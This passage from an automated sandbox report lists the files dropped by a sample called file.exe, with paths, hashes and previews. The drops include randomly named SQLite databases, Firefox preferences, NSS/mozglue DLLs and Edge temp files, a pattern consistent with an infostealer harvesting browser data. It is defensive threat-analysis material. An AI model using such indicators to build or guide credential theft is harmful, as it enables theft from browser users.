SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIIIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2674909933711898
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM3SA1LyKOMq+8iP5GDHP/0jMVumQ:Kq+n0J391LyKOMq+8iP5GLP/0x
MD5:	4AAC4F9F96EC65E521FF61D116764B17
SHA1:	14035AE772F3CFF915F6080A71BE9FDAD357E951
SHA-256:	59EC64F54EF02DCA91C98AF26C6F6908DBB6EF41A9FA6BD05B287231DD2A26B5
SHA-512:	FBF64AE9BEA46FB3889DC89B8DD000D07926A9BF4BDA231D8EBD2EA62E7B296D99CA9AC46E9C6C1F56B5DC5D9C665DE7CABE29E99D24F22A2BC3D3BDFE8C9B25
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGHDHCGHCAAKEBKECBKFIIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJECBGIJDGCAEBFIIECAKFHIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHCAFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3657ef61-23a0-4a27-a870-cd6ae2935267.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.094387399627484
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLui1zNtMncknONvE1sDyKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynDcOOmKtSmd6qE7lFoC
MD5:	961C1FE1CE4339B96EFBCD2C4B485628
SHA1:	C43285B84CF1D7977B1D5118DA76F999C328A77B
SHA-256:	140B623CB58E4E165A7C9CDBC366540BC1F540E2FE8CC59A3179A2F3F985B8AB
SHA-512:	909C017E98F353D783D75C0E35FB14EE4F74F7BD3388BBC6ADE2151FC9B7275BAC0D2356ED17D1EA59641B9DA5AAEBA5D7912F5C63C94C4D93996C3CDFDF38D0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4561dd33-14f7-4a0a-aea0-8c90dd31eb1b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.094387399627484
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLui1zNtMncknONvE1sDyKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynDcOOmKtSmd6qE7lFoC
MD5:	961C1FE1CE4339B96EFBCD2C4B485628
SHA1:	C43285B84CF1D7977B1D5118DA76F999C328A77B
SHA-256:	140B623CB58E4E165A7C9CDBC366540BC1F540E2FE8CC59A3179A2F3F985B8AB
SHA-512:	909C017E98F353D783D75C0E35FB14EE4F74F7BD3388BBC6ADE2151FC9B7275BAC0D2356ED17D1EA59641B9DA5AAEBA5D7912F5C63C94C4D93996C3CDFDF38D0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7da3f507-ac52-4f74-a72d-339c2076a82f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46378
Entropy (8bit):	6.086528571560726
Encrypted:	false
SSDEEP:	768:SMkbJrT8IeQc5dKTPNi1zNtMncknO966zmCs7IQmxgpCioXJDSgzMMd6qD47u30Z:SMk1rT8H1KHcOOAIQ9FoXtSmd6qE7D
MD5:	36A1BFF50F6FD34F0163EA20B2912193
SHA1:	13735956F892A07DE88FC5B970B9D25928B8E1A7
SHA-256:	96046A8091106E61F31C6575D5BFDB4A25AC0A1465DF96B4BD664B7F9A496F14
SHA-512:	95AFADECF86EB64BBB06BA08D70498309031B6F61E383F08C4AAE62DD0D4880B51A0F313A8FF966AB038902F856FE65FAA90691EA4A15C94C2FD476EC46CC25F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376983596935267","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"638c1f4a-6103-4fa9-991f-3c1a072e81a9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732510001"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\b92762a4-5a83-46bc-9019-0ca2cb1f4758.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6744012C-1E8C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
